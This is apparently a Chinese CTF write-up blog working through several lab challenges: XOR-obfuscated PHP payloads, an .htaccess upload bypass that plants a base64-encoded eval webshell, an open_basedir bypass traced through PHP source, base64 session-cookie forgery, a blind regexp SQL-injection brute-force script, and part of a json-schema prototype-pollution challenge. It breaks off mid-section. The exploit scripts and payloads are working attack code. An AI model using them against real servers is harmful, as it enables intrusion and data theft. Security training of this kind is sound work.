for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k=0;$k<strlen($string);$k++){
if(ord($string[$k])==$x){
echo $string[$k]."\n";
echo "%".dechex($a[$i])."^%".dechex($a[$j])."\n";
$index++;
if($index==strlen($string)){
return 0;
}


}
}
}
}
}

finds("_GET");
?>

即可得到

1
2
3
4
5
6
7
8
G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9

[异或或取反绕过][https://www.cnblogs.com/cimuhuashuimu/p/11546422.html]

因此,可以构造payload

1
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

然后可以看到php版本得信息,从disable_function中,我们可以看见很多函数被过滤掉了,所以我们可以尝试源码中得get_the_flag()函数,而从get_the_flag()函数中,我们可以知道我们需要上传文件,但是在源码中,我们可以看见

1
if(preg_match("/ph/i",$extension)) die("^_^");

这个if将文件后缀为php、phtml等文件都过滤掉了,而这个if

1
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False)

将文件内容有<?的文件给过滤掉了,而这个if

1
if(!exif_imagetype($tmp_name))

会检查文件头且限定只能上传image

而由于这里的php版本太高,所以不可以使用

1
<script language="php"></script>

html的格式,所以我们可以利用.user.ini文件或.htaccess文件,

htaccess文件

htacess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

利用方法一

1
2
3
4
5
<FilesMatch "test">

SetHandler application/x-httpd-php

</FilesMatch>

通过它调用php解析器去解析文件名,只要文件名中包含”test”这个字符串的任意文件,无论扩展名是什么,都会以php的方式来解析

利用方法二

1
AddType  application/x-httpd-php    .png

让.png文件解析为php文件

.user.ini文件

对于.user.ini文件来说,只要是以fastcgi运行的php都可以用这个方法

利用方法

1
2
GIF89a
auto_prepend_file=1.jpg

所有的php文件执行前都会将1.jpg文件当作是php类型文件先包含执行一遍,这里的GIF89a是文件幻术头进行绕过

[.htaccess文件以及.user.ini文件][https://blog.csdn.net/since_2020/article/details/113781120?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link]

回到题目本身,由于.user.ini是适用于nginx的,而.htaccess文件是适用于apache服务器,所以看php版本的信息后,我们可以知道这是apache服务器,所以使用.htaccess文件,我们可以将上传文件中的一句话用base64加密,然后在.htaccess中利用php伪协议进行解码,但是如果用GIF89a文件头来绕过文件头检测的话,.htaccess文件会无效,所以我们可以使用

1
2
#define width 1337
#define height 1337

由于#在.htaccess文件中是注释符的作用,因此可以绕过文件头检测,所以我们可以上传.htaccess文件

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"

然后上传shell.ahhh文件

1
2
GIF89a12		#12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

然后构造上传的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64

htaccess=b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell=b"GIF89a"+base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")

url="http://fe2f819b-9807-4f4b-af87-a202256b7849.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files={'file':('.htaccess',htaccess,'image/jpeg')}

data={"upload":"Submit"}
response=requests.post(url=url,data=data,files=files)
print(response.text)

files={'file':('shell.ahhh',shell,'image/jpeg')}
response=requests.post(url=url,data=data,files=files)
print(response.text)

得到路径

1
2
upload/tmp_93df0602d768e80cec04f22bc0fb368d/.htaccess
upload/tmp_93df0602d768e80cec04f22bc0fb368d/shell.ahhh

然后访问shell.ahhh,发现可以访问

方法一
直接用蚁剑连接即可登录后台并得到flag

方法二

我们从disable_function中可以知道没有封禁的函数有echo、file_get_contents()、var_dump()和scandir()等,所以我们可以构造

1
?cmd=var_dump(scandir("/"));

来读取目录下的文件,但发现不行,因为在php版本中的open_basedir不可以访问/etc目录,所以我们需要bypass open_basedir

bypass open_basedir

ini_set覆盖问题

exp

1
2
3
4
5
6
7
8
<?php
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/tmp');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '..');
var_dump(ini_get('open_basedir'));

运行后的结果

1
2
3
4
string(0) ""
string(4) "/tmp"
string(4) "/tmp"
string(4) "/tmp"

可以看见open_basedir默认的值是空的,当第一次设置为/tmp后,后面无论怎么设置,都不会对第一次设置的open_basedir的值进行覆盖

原因

找到php函数对应的底层函数

1
2
ini_get:PHP_FUNCTION(ini_get)
ini_set:PHP_FUNCTION(ini_set)

这里主要看ini_set的流程,因为ini_set是为一个配置选项设置值的,而ini_get是作为信息输出函数

我们先对ini_set下断点,然后运行

1
2
b /php7.0-src/ext/standard/basic_functions.c 5350
r c.php

发现有三个初始值

1
2
3
zend_string *varname;
zend_string *new_value;
char *old_value;

然后会对我们输入的varname和new_value两个值进行处理,会得到
varname.val

1
2
3
4
pwndbg> p &varname.val
$46 = (char (*)[1]) 0x7ffff7064978
pwndbg> x/s $46
0x7ffff7064978:"open_basedir"

new_value.val

1
2
3
4
pwndbg> p &new_value.val
$48 = (char (*)[1]) 0x7ffff7058ad8
pwndbg> x/s $48
0x7ffff7058ad8:"/tmp"

上面都是zend_string的结构体,是php7的新增结构,然后程序会拿到原来的open_basedir的值化为zend_string结构

1
2
3
4
pwndbg> p &old_value.val
$48 = (char (*)[1]) 0x8fca0d
pwndbg> x/s $48
0x8fca0d:"/tmp"

然后会进入php_ini_check_path

1
2
if(PG(open_basedir)){
if(_CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"error_log") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"java.class.path") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"java.home") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"mail.log") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"java.library.path)||

由于open_basedir默认为空,所以会跳出判断,进入到下一步

1
2
3
4
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}

看见这个if,我们可以看看一下FAILURE的定义

1
2
3
4
typedef enum {
SUCCESS = 0,
FAILURE = -1,/* this MUST stay a negative number, or it may affect functions! */
} ZEND_RESULT_CODE;

发现当zend_alter_ini_entry_ex的返回值不为-1时,则代表成功,否则进入if,返回false,而经过比对,我们可以知道当第一次设置open_basedir和第二次设置open_basedir值时,这里返回的值是不一样的,第一次设置时,这里为SUCCESS,即为0,第二次设置为FAILURE,即为-1,所以我们可以看zend_alter_ini_entry_ex进行比对

1
b /php7.0-src/Zend/zend_ini.c:330

发现两次不同点在于以下判断

第一次

1
if (!ini_entry->on_modify|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

第二次

1
ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1

发现里面有个on_modify(有关修改),所以我们可以单步跟进

1
PHPAPI ZEND_INI_MH(OnUpdateBaseDir)

发现是因为进行了以下操作才会在第二次时返回FAILURE

1
2
3
4
if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree(pathbuf);
return FAILURE;
}

正是因为php_check_open_basedir_ex()没有通过才导致ini_set失败,但是在第一次是通过的,所以如果想要利用ini_set覆盖之前的open_basedir,就要通过这个校验

所以我们要分析php_check_open_basedir_ex,来bypass php_check_open_basedir_ex

php_check_open_basedir_ex的源码

1
2
3
4
5
6
7
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
#define MAXPATHLEN PATH_MAX
#define PATH_MAX 1024 /* max bytes in pathname */

首先判断路径是否超过1023,然后就是另一个校验函数

1
2
3
4
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}

分析php_check_specific_open_basedir函数

1
2
3
4
if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}

它首先比对了当前目录并赋值给local_open_basedir

1
2
3
4
5
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
/* empty and too long paths are invalid */
return -1;
}

然后看目录名长度是否合法

1
2
3
if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}
1
2
3
PHPAPI char *expand_filepath(const char *filepath, char *real_path){
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

然后将传入的path,用绝对路径保存在resolved_name中

然后继续判断

1
if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 
{
if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;}
else {
/* File is in the right directory */
return 0;
}
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR)
{
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
return 0;
}
}
return -1;
}
}

将local_open_basedir的值存放在resolved_basedir中,用于后面比较

而上面的操作正是匹配路径是否是open_basedir规定路径

所以我们可以关注可控点expand_filepath()函数,我们可以分析expand_filepath()函数

1
2
3
PHPAPI char *expand_filepath(const char *filepath, char *real_path){
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

再分析expand_filepath_ex()函数

1
2
3
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {efree(new_state.cwd);
return NULL;
}

然后再分析virtual_file_ex()函数

1
2
3
4
5
6
7
8
9
10
11
if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* resolve relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
......
state->cwd_length = path_length;
......
memcpy(state->cwd, resolved_path, state->cwd_length+1);

上述代码的意思是目录拼接操作,如果path不是绝对路径,同时state->cwd长度为0,就会直接将path作为绝对路径保存在resolved_path中,否则在state->cmd后拼接

因此,我们最后落点在path_length,决定拼接的长度

1
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,发现path_length操作在

1
2
remove double slashes and '.'
remove '..' and previous directory

所以expand_filepath()函数主要关注相对路径和绝对路径,但是没有关注相对路径的实时变化

整体思路

但open_basedir第一次设置后,再次设置是不被允许的,但是由于没有考虑open_basedir为相对路径的实时变化,所以当当前目录是相对路径,而不是绝对路径时,就会触发expand_filekpath()函数漏洞,会将当前目录,即相对路径,存储到resolve_path中,从而绕过检验php_check_open_basedir_ex函数的检验,从而可以更改open_basedir的值,当我们ini.set(‘open_basedir’,’…’)时,只要我们跳转一次,open_basedir的目录也会跳转一次,并将当前的目录存储在resolve_path中,从而可以让我们绕过open_basedir的限制,可以访问根目录

回到题目本身,我们可以先跳转到open_basedir中的目录

1
chdir('/tmp')

然后在open_basedir目录下建立新目录,然后跳转到新目录下,此时为相对路径,所以我们可以重置open_basedir,即

1
ini_set('open_basedir','..')

然后一直是使用

1
chdir('..')

跳转,此时open_basedir也一直跳转,最后跳转到根目录后,重置open_basedir

1
ini_set('open_basedir','\')

即可读取根目录下的文件,因此构造payload

1
2
?cmd=chdir('img');mkdir('shiwang');chdir('shiwang');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

参考文章:[https://blog.51cto.com/u_15127538/2702757]

 [https://blog.csdn.net/qq_42967398/article/details/105615235]

简单的cookie伪造

简单的cookie伪造

打开页面发现,是一个购买的界面,可以看见第三个是购买flag的,打开页面源码,发现没有什么提示,所以我们点击购买,然后抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /buy HTTP/1.1
Host: 8075a6af-0656-420b-8689-587fea458b64.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://8075a6af-0656-420b-8689-587fea458b64.node4.buuoj.cn:81
Connection: close
Referer: http://8075a6af-0656-420b-8689-587fea458b64.node4.buuoj.cn:81/
Cookie: UM_distinctid=17c472616a335b-0660cc5b8058a1-4c3e2778-186a00-17c472616a43f; session=eyJtb25leSI6IDM3LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IHBlcHBhcmtha2EiLCAiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==
Upgrade-Insecure-Requests: 1

id=2

发现有一个session字段,且值是base64加密的,所以base64解密后

1
{"money": 37, "history": ["Yummy chocolate chip cookie", "Yummy pepparkaka", "Yummy chocolate chip cookie", "Yummy chocolate chip cookie"]}

因此,我们可以修改37为500,然后伪造cookie中的session字段并提交,得到回馈的seesion字段,我们再base64解密一下即可得flag

1
{"money": 400, "history": ["Yummy chocolate chip cookie", "Yummy pepparkaka", "Yummy chocolate chip cookie", "Yummy chocolate chip cookie", "flag{d1ca8b7e-27c5-415b-a858-0c9d22826c21}\n"]}

正则过滤

正则过滤

打开页面,发现是一个登录的界面,其中下面有sql语句

1
select * from users where username='' and passwd=''

所以我们fuzz一下,发现大部分符号被过滤掉了,然后我们可以尝试构造

1
/robots.txt

User-agent: *
Disallow: /hint.txt

1
然后构造hint.txt,可以看见

$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

If $_POST[‘passwd’] === admin’s password,

Then you will get the flag;

1
我们可以看见只要密码正确就可以读取flag,但是许多符号被过滤,但是我们可以使用

select * from users where username=’’ || password regexp ‘^a’;

1
2
3
的sql语句的格式来让服务器获取username和password来进行比对,其中regexp '^a'是正则匹配,意思是获取password字段中开头字母为a的值,其中我们可以在mysql库中来验证这句sql语句

首先,我们先

mysql -u root -p root

1
进入到mysql库中,然后

show databases; //查看数据库

use test; //选择数据库

create table table1 (id int(10),name varchar(20)); //建立数据表

insert into table1 values(‘1’,’hbb’);
insert into table1 values(‘2’,’hrc’); //向table1插入数据

1
2

然后执行

select * from table1 where id=3 || name regexp ‘^hr’;

1
会显示table1中id为2,name为hrc,所以我们可以构造payload

username=\&passwd=||//passwd//regexp/**/‘^a’;%00

1
其中/**/是代替被过滤的空格,而%00为截断符号,截断后面的单引号,作用相当于#或--+,由于黑名单中有%00,所以不可以在输入框中提交,要抓包后,post提交,而\\是先转义一条反斜杠,然后剩下的一条反斜杠就会把单引号给转义掉,从而使username为\' and password

select * from users where username=’' and password=’||//passwd//regexp/**/‘^a’;%00’

1
当密码正确时,返回的包中有welcome的字眼,所以我们可以以此来写exp

import requests
import string
url = “http://5f80822e-bbf0-4050-ba1b-6fc9c1783ad4.node3.buuoj.cn/"
str_list = string.ascii_lowercase + string.ascii_uppercase + string.digits + “_”

password= “”
while(True):
for j in str_list :
data = {
“username” : “\“,
“passwd” : ‘||/1/passwd/2/regexp/3/“^%s”;%s’ % (password+j,chr(0))
}
r = requests.post(url,data=data)
if(“welcome” in r.text):
password += j
print(password)
break

```
最后得到密码并直接提交即可得到flag

参考文章:[https://zhuanlan.zhihu.com/p/106088835]

json_schema原型链污染(nodejs)

json_schema原型链污染

json_schema

json

json是表示javaScript对象表示法,是一种简单的数据交换格式,现在已经被运用于许多不涉及web环境中

json的数据结构

  1. object

    1
    {"key1":"value1","key2":"value2"}
  2. array

    1
    ["first","secode","third"]
  3. number

    1
    42
  4. string

    1
    "this is a string"
  5. boolean

    1
    2
    true
    false
  6. null

    1
    null

使用这些简单的数据类型可以表示各种结构化数据,以下为用json以不同的方式表示一个人的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"name": "George Washington",
"birthday": "February 22, 1732",
"address": "Mount Vernon, Virginia, United States"
}

{
"first_name": "George",
"last_name": "Washington",
"birthday": "1732-02-22",
"address": {
"street_address": "3200 Mount Vernon Memorial Highway",
"city": "Mount Vernon",
"state": "Virginia",
"country": "United States"
}
}

而json_schema就是让应用程序知道该json记录的组织形式,下面就是上面json结构的数据用json_schema结构表达的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"type": "object",
"properties": {
"first_name": { "type": "string" },
"last_name": { "type": "string" },
"birthday": { "type": "string", "format": "date" },
"address": {
"type": "object",
"properties": {
"street_address": { "type": "string" },
"city": { "type": "string" },
"state": { "type": "string" },
"country": { "type" : "string" }
}
}
}
}

由以上例子,我们可以知道json_schema是用json编写的,它本身的数据,是描述其它数据结构的格式声明,而且会自动验证数据,但是由于json_schema不可以包含任意代码,数据元素之间的关系存在某些不能表达的约束,所以验证阶段有了两个级别,分别是schema级别和语义级别

json模式的规范

实例

1
表示应用于json模式的json文档

模式关键字

1
一个json模式必须是一个对象或布尔值,而应用于实例的对象属性则称为关键字或模式关键字

验证关键字

1
json模式可用于要求给定的实例满足一定数量的条件,而用于断言这些条件的关键字则被称为验证关键字

而验证关键字有很多种,这里主要注重对象的验证关键字的properties和additionalProperties

properties

此关键字的值必须是一个对象,这个对象中的每一个值都必须是一个有效的json模式,而且是用来验证对象实例中的子实例,而不是验证这个对象实例本身,对于同时出现在实例和作为该关键字的值中的名称的每个名称,该名称的子实例成功通过对应模式的验证

1
2
3
4
5
6
7
8
9
10
11
{
"type": "object",
"properties": {
"name": {
"type": "string"
},
"age": {
"type": "number"
}
}
}

additionalProperties

此关键字的值必须是一个有效的json模式或一个布尔值,用来验证对象实例中的子实例,而不是验证这个对象实例本身,而且只验证实例中名称即不匹配properties中的任何名,也不匹配patternProperties中的任何正则表达式的元素的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"type": "object",
"properties": {
"_name": {
"type": "string"
},
"age_": {
"type": "number"
},
"salary": {
"type": "number"
}
},
"required": [
"_name",
"age_"
],
"patternProperties": {
"^_": {
"minLength": 3
},
"_$": {
"multipleOf": 10
}
},
"additionalProperties": {
"type": ["string", "number"],
"enum": ['SQA', "R&D", "IMP"]
}
}

[json_schema详细][https://blog.csdn.net/swinfans/article/details/89231247]

实例(绿城杯Looking for treasure)

打开页面,查看页面源码,发现一个可疑点

1
/source.zip

可以得到config.js文件
config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
module.exports = function(app, fs, lodash){
app.get('/config', function(req, res, next) {
let config = res.locals.config;
let content = JSON.parse(fs.readFileSync(config.filepath).toString())
res.json(content);
});

app.post('/validated/:library?/:method?', function(req, res, next) {
let config = res.locals.config;
if (!req.params.library || req.params.library.match(/vm/i)|| req.params.library.match(/../i)|| req.params.library.match(/%2f/i)|| req.params.library.match(/%2F/i)|| req.params.library.match(/\//i)) req.params.library = "json-schema"
if (!req.params.method) req.params.method = "validate"

let json_library = require(req.params.library)
let valid = json_library[req.params.method](req.body)
if (!valid) {
res.send("validator failed");
return
}
let p;
if (config.path) {
p = config.path;
} else if (config.filepath) {
p = config.filepath;
} else {
p = "config.json"
}
let content = fs.readFileSync(p).toString()
try {
content = JSON.parse(content)
if (lodash.isEqual(req.body, content))
res.json(content)
else
res.send({ "validator": valid, "content" : content, "log": "wrong content"})
} catch {
res.send({ "validator": valid, "content" : content})
}
})
}

从源码中我们可以看见

1
req.params.library = "json-schema"

可以判断是json_schema,然后我们从上面可知道,json_schema会自动验证数据,所以我们下载json_schema的源码,然后看validate.js文件

validate.js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
/**
* JSONSchema Validator - Validates JavaScript objects using JSON Schemas
* (http://www.json.com/json-schema-proposal/)
* Licensed under AFL-2.1 OR BSD-3-Clause
To use the validator call the validate function with an instance object and an optional schema object.
If a schema is provided, it will be used to validate. If the instance object refers to a schema (self-validating),
that schema will be used to validate and the schema parameter is not necessary (if both exist,
both validations will occur).
The validate method will return an array of validation errors. If there are no errors, then an
empty list will be returned. A validation error will have two properties:
"property" which indicates which property had the error
"message" which indicates what the error was
*/
(function (root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define([], function () {
return factory();
});
} else if (typeof module === 'object' && module.exports) {
// Node. Does not work with strict CommonJS, but
// only CommonJS-like environments that support module.exports,
// like Node.
module.exports = factory();
} else {
// Browser globals
root.jsonSchema = factory();
}
}(this, function () {// setup primitive classes to be JSON Schema types
var exports = validate
exports.Integer = {type:"integer"};
var primitiveConstructors = {
String: String,
Boolean: Boolean,
Number: Number,
Object: Object,
Array: Array,
Date: Date
}
exports.validate = validate;
function validate(/*Any*/instance,/*Object*/schema) {
// Summary:
// To use the validator call JSONSchema.validate with an instance object and an optional schema object.
// If a schema is provided, it will be used to validate. If the instance object refers to a schema (self-validating),
// that schema will be used to validate and the schema parameter is not necessary (if both exist,
// both validations will occur).
// The validate method will return an object with two properties:
// valid: A boolean indicating if the instance is valid by the schema
// errors: An array of validation errors. If there are no errors, then an
// empty list will be returned. A validation error will have two properties:
// property: which indicates which property had the error
// message: which indicates what the error was
//
return validate(instance, schema, {changing: false});//, coerce: false, existingOnly: false});
};
exports.checkPropertyChange = function(/*Any*/value,/*Object*/schema, /*String*/property) {
// Summary:
// The checkPropertyChange method will check to see if an value can legally be in property with the given schema
// This is slightly different than the validate method in that it will fail if the schema is readonly and it will
// not check for self-validation, it is assumed that the passed in value is already internally valid.
// The checkPropertyChange method will return the same object type as validate, see JSONSchema.validate for
// information.
//
return validate(value, schema, {changing: property || "property"});
};
var validate = exports._validate = function(/*Any*/instance,/*Object*/schema,/*Object*/options) {

if (!options) options = {};
var _changing = options.changing;

function getType(schema){
return schema.type || (primitiveConstructors[schema.name] == schema && schema.name.toLowerCase());
}
var errors = [];
// validate a value against a property definition
function checkProp(value, schema, path,i){

var l;
path += path ? typeof i == 'number' ? '[' + i + ']' : typeof i == 'undefined' ? '' : '.' + i : i;
function addError(message){
errors.push({property:path,message:message});
}

if((typeof schema != 'object' || schema instanceof Array) && (path || typeof schema != 'function') && !(schema && getType(schema))){
if(typeof schema == 'function'){
if(!(value instanceof schema)){
addError("is not an instance of the class/constructor " + schema.name);
}
}else if(schema){
addError("Invalid schema/property definition " + schema);
}
return null;
}
if(_changing && schema.readonly){
addError("is a readonly field, it can not be changed");
}
if(schema['extends']){ // if it extends another schema, it must pass that schema as well
checkProp(value,schema['extends'],path,i);
}
// validate a value against a type definition
function checkType(type,value){
if(type){
if(typeof type == 'string' && type != 'any' &&
(type == 'null' ? value !== null : typeof value != type) &&
!(value instanceof Array && type == 'array') &&
!(value instanceof Date && type == 'date') &&
!(type == 'integer' && value%1===0)){
return [{property:path,message:value + " - " + (typeof value) + " value found, but a " + type + " is required"}];
}
if(type instanceof Array){
var unionErrors=[];
for(var j = 0; j < type.length; j++){ // a union type
if(!(unionErrors=checkType(type[j],value)).length){
break;
}
}
if(unionErrors.length){
return unionErrors;
}
}else if(typeof type == 'object'){
var priorErrors = errors;
errors = [];
checkProp(value,type,path);
var theseErrors = errors;
errors = priorErrors;
return theseErrors;
}
}
return [];
}
if(value === undefined){
if(schema.required){
addError("is missing and it is required");
}
}else{
errors = errors.concat(checkType(getType(schema),value));
if(schema.disallow && !checkType(schema.disallow,value).length){
addError(" disallowed value was matched");
}
if(value !== null){
if(value instanceof Array){
if(schema.items){
var itemsIsArray = schema.items instanceof Array;
var propDef = schema.items;
for (i = 0, l = value.length; i < l; i += 1) {
if (itemsIsArray)
propDef = schema.items[i];
if (options.coerce)
value[i] = options.coerce(value[i], propDef);
errors.concat(checkProp(value[i],propDef,path,i));
}
}
if(schema.minItems && value.length < schema.minItems){
addError("There must be a minimum of " + schema.minItems + " in the array");
}
if(schema.maxItems && value.length > schema.maxItems){
addError("There must be a maximum of " + schema.maxItems + " in the array");
}
}else if(schema.properties || schema.additionalProperties){
errors.concat(checkObj(value, schema.properties, path, schema.additionalProperties));
}
if(schema.pattern && typeof value == 'string' && !value.match(schema.pattern)){
addError("does not match the regex pattern " + schema.pattern);
}
if(schema.maxLength && typeof value == 'string' && value.length > schema.maxLength){
addError("may only be " + schema.maxLength + " characters long");
}
if(schema.minLength && typeof value == 'string' && value.length < schema.minLength){
addError("must be at least " + schema.minLength + " characters long");
}
if(typeof schema.minimum !== 'undefined' && typeof value == typeof schema.minimum &&
schema.minimum > value){
addError("must have a minimum value of " + schema.minimum);
}
if(typeof schema.maximum !== 'undefined' && typeof value == typeof schema.maximum &&
schema.maximum < value){
addError("must have a maximum value of " + schema.maximum);
}
if(schema['enum']){
var enumer = schema['enum'];
l = enumer.length;
var found;
for(var j = 0; j < l; j++){
if(enumer[j]===value){
found=1;
break;
}
}
if(!found){
addError("does not have a value in the enumeration " + enumer.join(", "));
}
}
if(typeof schema.maxDecimal == 'number' &&
(value.toString().match(new RegExp("\\.[0-9]{" + (schema.maxDecimal + 1) + ",}")))){
addError("may only have " + schema.maxDecimal + " digits of decimal places");
}
}
}
return null;
}
// validate an object against a schema
function checkObj(instance,objTypeDef,path,additionalProp){

if(typeof objTypeDef =='object'){
if(typeof instance != 'object' || instance instanceof Array){
errors.push({property:path,message:"an object is required"});
}

for(var i in objTypeDef){
if(objTypeDef.hasOwnProperty(i)){
var value = instance[i];
// skip _not_ specified properties
if (value === undefined && options.existingOnly) continue;
var propDef = objTypeDef[i];
// set default
if(value === undefined && propDef["default"]){
value = instance[i] = propDef["default"];
}
if(options.coerce && i in instance){
value = instance[i] = options.coerce(value, propDef);
}
checkProp(value,propDef,path,i);
}
}
}
for(i in instance){
if(instance.hasOwnProperty(i) && !(i.charAt(0) == '_' && i.charAt(1) == '_') && objTypeDef && !objTypeDef[i] && additionalProp===false){
if (options.filter) {
delete instance[i];
continue;
} else {
errors.push({property:path,message:"The property " + i +
" is not defined in the schema and the schema does not allow additional properties"});
}
}
var requires = objTypeDef && objTypeDef[i] && objTypeDef[i].requires;
if(requires && !(requires in instance)){
errors.push({property:path,message:"the presence of the property " + i + " requires that " + requires + " also be present"});
}
value = instance[i];
if(additionalProp && (!(objTypeDef && typeof objTypeDef == 'object') || !(i in objTypeDef))){
if(options.coerce){
value = instance[i] = options.coerce(value, additionalProp);
}
checkProp(value,additionalProp,path,i);
}
if(!_changing && value && value.$schema){
errors = errors.concat(checkProp(value,value.$schema,path,i));
}
}
return errors;
}
if(schema){
checkProp(instance,schema,'',_changing || '');
}
if(!_changing && instance && instance.$schema){
checkProp(instance,instance.$schema,'','');
}
return {valid:!errors.length,errors:errors};
};
exports.mustBeValid = function(result){
// summary:
// This checks to ensure that the result is valid and will throw an appropriate error message if it is not
// result: the result returned from checkPropertyChange or validate
if(!result.valid){
throw new TypeError(result.errors.map(function(error){return "for property " + error.property + ': ' + error.message;}).join(", \n"));
}
}

return exports;
}));

从json_schema数据结构,我们可以知道,它首先会调用checkType()函数来验证Type字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
